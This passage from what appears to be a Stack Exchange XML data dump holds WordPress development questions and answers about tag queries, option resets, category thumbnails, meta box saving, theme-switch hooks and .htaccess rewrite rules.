postid3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far i have no idea howto solve it in a single mysql query. Maybe im missing something.&#xA;Thanks for your help in advance.&lt;/p&gt;&#xA;" OwnerUserId="2669" LastActivityDate="2011-07-03T21:46:58.390" Title="Tags to Post-ID mysql query. Tag Search" Tags="&lt;posts&gt;&lt;mysql&gt;&lt;search&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="7511" PostTypeId="2" ParentId="7509" CreationDate="2011-01-22T17:59:45.980" Score="2" ViewCount="" Body="&lt;p&gt;These are normal &lt;code&gt;IN&lt;/code&gt; mechanics - it matches anything in set, not all of set combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type of match you want is called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Tag_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tag_slug__and&lt;/code&gt;&lt;/a&gt; in WP query arguments. You can see code that generates SQL for it in source of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/query.php#L1995&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Query-&amp;gt;&amp;amp;get_posts()&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting SQL is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT p.ID &#xA;FROM wp_posts p &#xA;INNER JOIN wp_term_relationships tr ON (p.ID = tr.object_id) &#xA;INNER JOIN wp_term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) &#xA;INNER JOIN wp_terms t ON (tt.term_id = t.term_id) &#xA;WHERE tt.taxonomy = 'post_tag' &#xA;AND t.slug IN ('is', 'filler') &#xA;GROUP BY p.ID HAVING count(p.ID) = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-22T17:59:45.980" CommentCount="3" />
  <row Id="7512" PostTypeId="2" ParentId="7498" CreationDate="2011-01-22T18:30:28.410" Score="2" ViewCount="" Body="&lt;p&gt;WordPress has a feature built into it to do updates and upgrades. Are you currently using an older version of WordPress that doesn't have this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Rarst wrote, you don't need to worry about the database updates. Both WordPress and plugins will upgrade the database entries and schema automatically, when you first load the administrative console after updating the code. (But, do back up your database before you start the upgrade process. WP-DB-Backup is a nice plugin that makes this easy: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-db-backup/&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are making a &lt;em&gt;major&lt;/em&gt; upgrade, say from a version of WordPress before 2.5 to the current release, then you definitely want to turn off your plugins before doing the upgrade, and re-activate them one-by-one. But if you're just upgrading from 2.9 to 3.0, that's probably unnecessary. I would simply update the plugins &lt;em&gt;first,&lt;/em&gt; to get the most compatible versions, and then upgrade WordPress.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2011-01-22T18:30:28.410" />
  <row Id="7513" PostTypeId="1" AcceptedAnswerId="18894" CreationDate="2011-01-22T18:37:18.757" Score="0" ViewCount="183" Body="&lt;p&gt;I got some option pages for my theme. I did this whit add_menu_page, add_submenu_page. I further got settings with register_setting and there i got add_settings_section and add_settings_field(s). The field callback functions come from a class that auto-generates my fields. I then built a form callback function (for add_(sub)menu_page like the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function render() {&#xA;  $this-&amp;gt;notify();&#xA;  ?&amp;gt;&#xA;   &amp;lt;div class=&quot;wrap&quot;&amp;gt;   &#xA;    &amp;lt;div id=&quot;icon-themes&quot; class=&quot;icon32&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php echo $this-&amp;gt;page_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e('The developer mode allows access to some of your most important rapid prototyping tools.', MY_TEXTDOMAIN); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;postbox-container&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;postbox &quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;&#xA;       &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        settings_fields( MY_OPTIONS );&#xA;        do_settings_sections(__FILE__);&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;         &amp;lt;input class=&quot;button-primary&quot; name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;&amp;lt;?php _e('Save Changes', MY_TEXTDOMAIN); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;       &amp;lt;/form&amp;gt;&#xA;&#xA;       &amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;         &amp;lt;input class=&quot;button-secondary&quot; name=&quot;Reset&quot; type=&quot;submit&quot; value=&quot;&amp;lt;?php _e('reset', MY_TEXTDOMAIN); ?&amp;gt;&quot; /&amp;gt;&#xA;         &amp;lt;input name=&quot;action&quot; type=&quot;hidden&quot; value=&quot;reset&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;       &amp;lt;/form&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php &#xA;&#xA; }&#xA;&#xA; private function notify() {&#xA;  if ( isset($_POST['save']) ) :&#xA;   ?&amp;gt;&#xA;   &amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php sprintf(__('$1$s Options update %2$ssuccessfull%3$s.', MY_TEXTDOMAIN), $this-&amp;gt;name, '&amp;lt;strong&amp;gt;', '&amp;lt;/strong&amp;gt;'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php &#xA;  elseif ( isset($_POST['reset']) )  :&#xA;   delete_option( MY_OPTIONS );&#xA;   ?&amp;gt;&#xA;   &amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php sprintf(__('$1$s Options have been %2$sdeleted%3$s.', MY_TEXTDOMAIN), $this-&amp;gt;name, '&amp;lt;strong&amp;gt;', '&amp;lt;/strong&amp;gt;'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php &#xA;  endif;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is all done in a class)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set default values, change and save them and everything works out fine. But one problem stays: I can't delete my options and can't reset them to the defaults. Does anybody know how to achieve that? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-31T23:16:52.887" Title="Best way to reset some admin options form to default?" Tags="&lt;admin&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="7514" PostTypeId="1" AcceptedAnswerId="7532" CreationDate="2011-01-22T20:30:38.950" Score="0" ViewCount="192" Body="&lt;p&gt;I am trying to create a home page where it is a list of categories with an associated thumbnail for each.  I would like it so it returns each category once and returns the associated thumbnail from the latest post, or even better does not require me to add a featured image to each post, but rather grabs the thumbnail from the image of the post, using post_mime_type ?  I am still a ways off as it is returning the category for each post that is within that category and then associating the image with every category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function I am working with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function home_filter() {&#xA;        if ( is_home() )&#xA;        {&#xA;        add_filter( 'the_content', 'home_cats' );&#xA;        }&#xA;    }&#xA;    add_action('template_redirect', 'home_filter');&#xA;    function home_cats(){&#xA;        $args=array(&#xA;        'orderby' =&amp;gt; 'name',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        );&#xA;        $categories=get_categories($args);&#xA;           foreach($categories as $category) { &#xA;   echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . get_the_post_thumbnail($page-&amp;gt;ID, 'thumbnail') . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; ';&#xA;        } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The home page is simply :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php the_content();?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=1&quot; title=&quot;View all posts in Cat A&quot; &amp;gt;&amp;lt;img src=&quot;..image-A.jpg&quot;  /&amp;gt;Cat A&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=3&quot; title=&quot;View all posts in Cat B&quot; &amp;gt;&amp;lt;img src=&quot;..image-A.jpg&quot;  /&amp;gt;Cat B&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=1&quot; title=&quot;View all posts in Cat A&quot; &amp;gt;&amp;lt;img src=&quot;..image-B.jpg&quot;  /&amp;gt;Cat A&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=3&quot; title=&quot;View all posts in Cat B&quot; &amp;gt;&amp;lt;img src=&quot;..image-B.jpg&quot;  /&amp;gt;Cat B&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=1&quot; title=&quot;View all posts in Cat A&quot; &amp;gt;&amp;lt;img src=&quot;..image-C.jpg&quot;  /&amp;gt;Cat A&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;../?cat=3&quot; title=&quot;View all posts in Cat B&quot; &amp;gt;&amp;lt;img src=&quot;..image-C.jpg&quot;  /&amp;gt;Cat B&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me understand how to return each category only once and include the thumb from the latest post in that category?  And even better can anyone think of a way to accomplish this without having to set the feature image every time?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-02-14T14:13:05.770" Title="Limit get_categories to show each category once" Tags="&lt;categories&gt;&lt;loop&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="7515" PostTypeId="2" ParentId="7514" CreationDate="2011-01-22T21:13:31.030" Score="1" ViewCount="" Body="&lt;p&gt;That hook contraption is kinda messy, why not just call &lt;code&gt;home_cats()&lt;/code&gt; in template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this (note that it is query per category and can get ugly for performance):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function home_cats() {&#xA;&#xA;    $args = array(&#xA;        'orderby' =&amp;gt; 'name',&#xA;        'order' =&amp;gt; 'ASC',&#xA;    );&#xA;    $categories = get_categories($args);&#xA;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;    foreach ( $categories as $category ) {&#xA;&#xA;        $link = get_category_link($category-&amp;gt;term_id);&#xA;        $title = sprintf(__(&quot;View all posts in %s&quot;), $category-&amp;gt;name);&#xA;&#xA;        $posts = get_posts( array(&#xA;            'cat' =&amp;gt; $category-&amp;gt;term_id,&#xA;            'numberposts' =&amp;gt; 1,&#xA;        ) );&#xA;&#xA;        $post = $posts[0];&#xA;&#xA;        $thumbnail =  get_the_post_thumbnail($post-&amp;gt;ID);&#xA;        echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$link}' title='{$title}'&amp;gt;{$thumbnail}{$category-&amp;gt;name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are different ways to mine for images, I usually go with &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-22T21:13:31.030" CommentCount="4" />
  <row Id="7516" PostTypeId="1" CreationDate="2011-01-22T21:35:30.427" Score="0" ViewCount="177" Body="&lt;p&gt;Is there a widget out there which allows me to show the latest topics in the forums of my bbPress installation in the sidebar of my WordPress installation? I'm using WordPress 3.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like people who visit the front page of my site to easily see the newest activity on the forums without needing to go to the forum page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;http://wordpress.org/extend/plugins/bbpress-latest-discussion/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it's no longer supported, and I wasn't able to get it to work when I did install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked at bbPress live, but it looks like this also has been discontinued.&lt;/p&gt;&#xA;" OwnerUserId="2674" LastEditorUserId="2674" LastEditorDisplayName="" LastEditDate="2011-01-22T21:41:48.097" LastActivityDate="2011-01-22T21:41:48.097" Title="bbPress sidebar widget to show latest topics in forums?" Tags="&lt;plugins&gt;" />
  <row Id="7517" PostTypeId="1" AcceptedAnswerId="7522" CreationDate="2011-01-22T21:48:44.487" Score="0" ViewCount="603" Body="&lt;p&gt;I have a custom post type which is working fine, however the meta box does isn't saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long &amp;amp; short, i'm stumped!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio');&#xA;function portfolio() {&#xA; $args = array(&#xA;  'label' =&amp;gt; __('Portfolio'),&#xA;  'singular_label' =&amp;gt; __('Portfolio'),&#xA;  'public' =&amp;gt; true,&#xA;  'show_ui' =&amp;gt; true,&#xA;  'menu_position' =&amp;gt; 5,&#xA;  'capability_type' =&amp;gt; 'page',&#xA;  'hierarchical' =&amp;gt; false,&#xA;  'rewrite' =&amp;gt; true,&#xA;  'show_in_nav_menus' =&amp;gt; true,&#xA;  'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'excerpt'),&#xA;  'has_archive' =&amp;gt; true&#xA; );&#xA;&#xA; register_taxonomy( 'type', 'portfolio',&#xA;  array(&#xA;             'hierarchical' =&amp;gt; false,&#xA;    'label' =&amp;gt; __('Project Type'),&#xA;    'query_var' =&amp;gt; 'type',&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'portfolio/type' )&#xA;  )&#xA; );&#xA;&#xA; register_post_type( 'portfolio' , $args );&#xA;}&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;add_action('save_post', 'save_meta_data');&#xA;&#xA;function admin_init(){&#xA;add_meta_box(&quot;portfolio_text&quot;, &quot;Main Text&quot;, &quot;portfolio_options&quot;, &quot;portfolio&quot;, &quot;normal&quot;, &quot;high&quot;);&#xA;}&#xA;&#xA;/* Meta Values for Shorts */&#xA;function portfolio_options() {&#xA; global $post;&#xA; $custom = get_post_custom($post-&amp;gt;ID);&#xA; $short_embed = $custom[&quot;portfolio_text&quot;][0]; ?&amp;gt;&#xA; &amp;lt;textarea name=&quot;portfolio_text&quot; cols=&quot;40&quot; rows=&quot;1&quot; style=&quot;width:98%; height:100px&quot;/&amp;gt;&amp;lt;?php echo get_option('portfolio_text'); ?&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&amp;lt;?php }&#xA;&#xA;&#xA;/* Save Changes */&#xA;function save_meta_data($ID = false, $post = false) {&#xA;    if($post-&amp;gt;post_type != 'portfolio')&#xA;        return;&#xA;    update_post_meta($ID, 'portfolio_text', $_POST['portfolio_text']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-01-23T12:36:31.703" Title="Meta Box on Custom Post Type not saving" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="7518" PostTypeId="1" AcceptedAnswerId="7519" CreationDate="2011-01-22T22:15:13.427" Score="0" ViewCount="266" Body="&lt;p&gt;I created a plugin but I just came across a bug that I don't really know how to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you activate my plugin, it creates a file in the active theme directory and when you deactivate it, it deletes that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, if you activate the plugin, and then switch the theme, the files won't exist in the new theme's directory. Is there a line of code I can add in my plugins functions file to deactivate the plugin before the theme is switched, and then activate it after the new theme has been activated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, this is a great community so I know I'll get a great answer. :)&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-01-23T04:06:14.010" Title="Is there a hook for when you switch themes?" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="7519" PostTypeId="2" ParentId="7518" CreationDate="2011-01-22T22:27:24.357" Score="2" ViewCount="" Body="&lt;p&gt;There is a 'switch_theme' action that runs right after the theme is switched.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_on_switch_theme($new_theme) {&#xA;    $current_themes = get_themes();&#xA;    $new_theme_info = $current_themes[$new_theme];&#xA;    /*&#xA;    $new_theme_info bhould now be an associative array with the following:&#xA;    $new_them_info['Title'];&#xA;    $new_them_info['Version'];&#xA;    $new_them_info['Parent Theme'];&#xA;    $new_them_info['Template Dir'];&#xA;    $new_them_info['Stylesheet Dir'];&#xA;    $new_them_info['Template'];&#xA;    $new_them_info['Stylesheet'];&#xA;    $new_them_info['Screenshot'];&#xA;    $new_them_info['Description'];&#xA;    $new_them_info['Author'];&#xA;    $new_them_info['Tags'];&#xA;    $new_them_info['Theme Root'];&#xA;    $new_them_info['Theme Root URI'];&#xA;    ...so do you what you need from this.&#xA;    */&#xA;}&#xA;add_action('switch_theme', 'my_on_switch_theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastEditorUserId="203" LastEditorDisplayName="" LastEditDate="2011-01-23T04:06:14.010" LastActivityDate="2011-01-23T04:06:14.010" CommentCount="1" />
  <row Id="7520" PostTypeId="2" ParentId="7518" CreationDate="2011-01-22T23:14:44.290" Score="1" ViewCount="" Body="&lt;p&gt;In WordPress 1.5 and greater the action you're looking for is called &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/switch_theme&quot; rel=&quot;nofollow&quot;&gt;switch theme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it in source in &lt;a href=&quot;http://svn.automattic.com/wordpress/tags/3.0/wp-includes/theme.php&quot; rel=&quot;nofollow&quot;&gt;theme.php&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-22T23:14:44.290" />
  <row Id="7521" PostTypeId="2" ParentId="7482" CreationDate="2011-01-22T23:21:53.420" Score="0" ViewCount="" Body="&lt;p&gt;If you are using it for design purposes then call it something like template-parts&#xA;And if its for reacuring content then call it just that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-22T23:21:53.420" />
  <row Id="7522" PostTypeId="2" ParentId="7517" CreationDate="2011-01-22T23:36:39.657" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@George Wiscombe:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So close, yet so far! &lt;em&gt;(I know the pain, I'm there often. :)&lt;/em&gt;  You almost had it but are using the wrong hook to do the post meta update.  Use the &lt;code&gt;'wp_insert_post_data'&lt;/code&gt; hook instead of the &lt;code&gt;'save_post'&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!class_exists('YourSite_Portfolio')) {&#xA;  class YourSite_Portfolio {&#xA;    static function on_load() {&#xA;      add_action('init',array(__CLASS__,'init'));&#xA;      add_action(&quot;admin_init&quot;,array(__CLASS__,'admin_init'));&#xA;      add_action('wp_insert_post_data',array(__CLASS__,'wp_insert_post_data'),10,2);&#xA;    }&#xA;    static function init() {&#xA;      register_post_type( 'portfolio',array(&#xA;        'label' =&amp;gt; __('Portfolio'),&#xA;        'singular_label' =&amp;gt; __('Portfolio'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; 5,&#xA;        'capability_type' =&amp;gt; 'page',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'excerpt'),&#xA;        'has_archive' =&amp;gt; true&#xA;      ));&#xA;      register_taxonomy( 'type', 'portfolio', array(&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'label' =&amp;gt; __('Project Type'),&#xA;        'query_var' =&amp;gt; 'type',&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'portfolio/type' )&#xA;      ));&#xA;    }&#xA;    static function admin_init(){&#xA;      add_meta_box('portfolio_text','Main Text',array(__CLASS__,'portfolio_options'),'portfolio','normal','high');&#xA;    }&#xA;    static function portfolio_options($post,$metabox) {&#xA;      $portfolio_text =  get_post_meta($post-&amp;gt;ID,'portfolio_text',true);&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;textarea name=&quot;portfolio_text&quot; cols=&quot;40&quot; rows=&quot;1&quot; style=&quot;width:98%; height:100px&quot;/&amp;gt;{$portfolio_text}&amp;lt;/textarea&amp;gt;&#xA;HTML;&#xA;      echo $html;&#xA;    }&#xA;    static function wp_insert_post_data($data,$postarr) {&#xA;      if ($postarr['post_type'] == 'portfolio') {&#xA;        update_post_meta($postarr['ID'], 'portfolio_text', $postarr['portfolio_text']);&#xA;      }&#xA;      return $data;&#xA;    }&#xA;  }&#xA;  YourSite_Portfolio::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;'wp_insert_post_data'&lt;/code&gt; hook is where WordPress captures the values from the &lt;code&gt;$_POST&lt;/code&gt; array; by the time you reach &lt;code&gt;'save_post'&lt;/code&gt; WordPress has reloaded the post and that's why &lt;code&gt;'portfolio_text'&lt;/code&gt; empty when you are trying to save it. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-23T12:36:31.703" LastActivityDate="2011-01-23T12:36:31.703" CommentCount="7" />
  <row Id="7523" PostTypeId="1" AcceptedAnswerId="7617" CreationDate="2011-01-23T00:03:30.370" Score="1" ViewCount="119" Body="&lt;p&gt;I'd like to add a checkbox to the category editor screen to allow the category to be &quot;deactivated&quot; (perhaps while the site owner works on the category content and posts). Once I've done this, what are my options for excluding the category's that are set to &quot;inactive&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I'm thinking I can do this is to just run a filter on wp_list_categories and in the exlude= list, I'd just insert a utility function that returns all cat_ids where inactive is checked true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to do this?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-24T13:19:24.920" Title="filter &quot;inactive&quot; categories from wp_list_categories?" Tags="&lt;theme-development&gt;&lt;categories&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="7524" PostTypeId="1" CreationDate="2011-01-23T00:19:53.860" Score="1" ViewCount="321" Body="&lt;p&gt;I have a community blog at thelazy.info . All things are working except the category. When you click on any category it gives 404 Not found error. I tried searching out myself but couldn't come up with a plausible relation. Can anybody guess how can I go with this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# BEGIN WPSuperCache&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;AddDefaultCharset UTF-8&#xA;RewriteCond %{REQUEST_URI} !^.*[^/]$&#xA;RewriteCond %{REQUEST_URI} !^.*//.*$&#xA;RewriteCond %{REQUEST_METHOD} !POST&#xA;RewriteCond %{QUERY_STRING} !.*=.*&#xA;RewriteCond %{HTTP:Cookie} !^.*(comment_author_|wordpress_logged_in|wp-postpass_).*$&#xA;RewriteCond %{HTTP:X-Wap-Profile} !^[a-z0-9\&quot;]+ [NC]&#xA;RewriteCond %{HTTP:Profile} !^[a-z0-9\&quot;]+ [NC]&#xA;RewriteCond %{HTTP_USER_AGENT} !^.*(2.0\ MMP|240x320|400X240|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|PlayStation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows\ CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915\ Obigo|LGE\ VX|webOS|Nokia5800).* [NC]&#xA;RewriteCond %{HTTP_user_agent} !^(w3c\ |w3c-|acs-|alav|alca|amoi|audi|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-|dang|doco|eric|hipt|htc_|inno|ipaq|ipod|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-|lg/u|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|palm|pana|pant|phil|play|port|prox|qwap|sage|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|wap-|wapa|wapi|wapp|wapr|webc|winw|winw|xda\ |xda-).* [NC]&#xA;RewriteCond %{HTTP:Accept-Encoding} gzip&#xA;RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz -f&#xA;RewriteRule ^(.*) &quot;/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz&quot; [L]&#xA;&#xA;RewriteCond %{REQUEST_URI} !^.*[^/]$&#xA;RewriteCond %{REQUEST_URI} !^.*//.*$&#xA;RewriteCond %{REQUEST_METHOD} !POST&#xA;RewriteCond %{QUERY_STRING} !.*=.*&#xA;RewriteCond %{HTTP:Cookie} !^.*(comment_author_|wordpress_logged_in|wp-postpass_).*$&#xA;RewriteCond %{HTTP:X-Wap-Profile} !^[a-z0-9\&quot;]+ [NC]&#xA;RewriteCond %{HTTP:Profile} !^[a-z0-9\&quot;]+ [NC]&#xA;RewriteCond %{HTTP_USER_AGENT} !^.*(2.0\ MMP|240x320|400X240|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|PlayStation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows\ 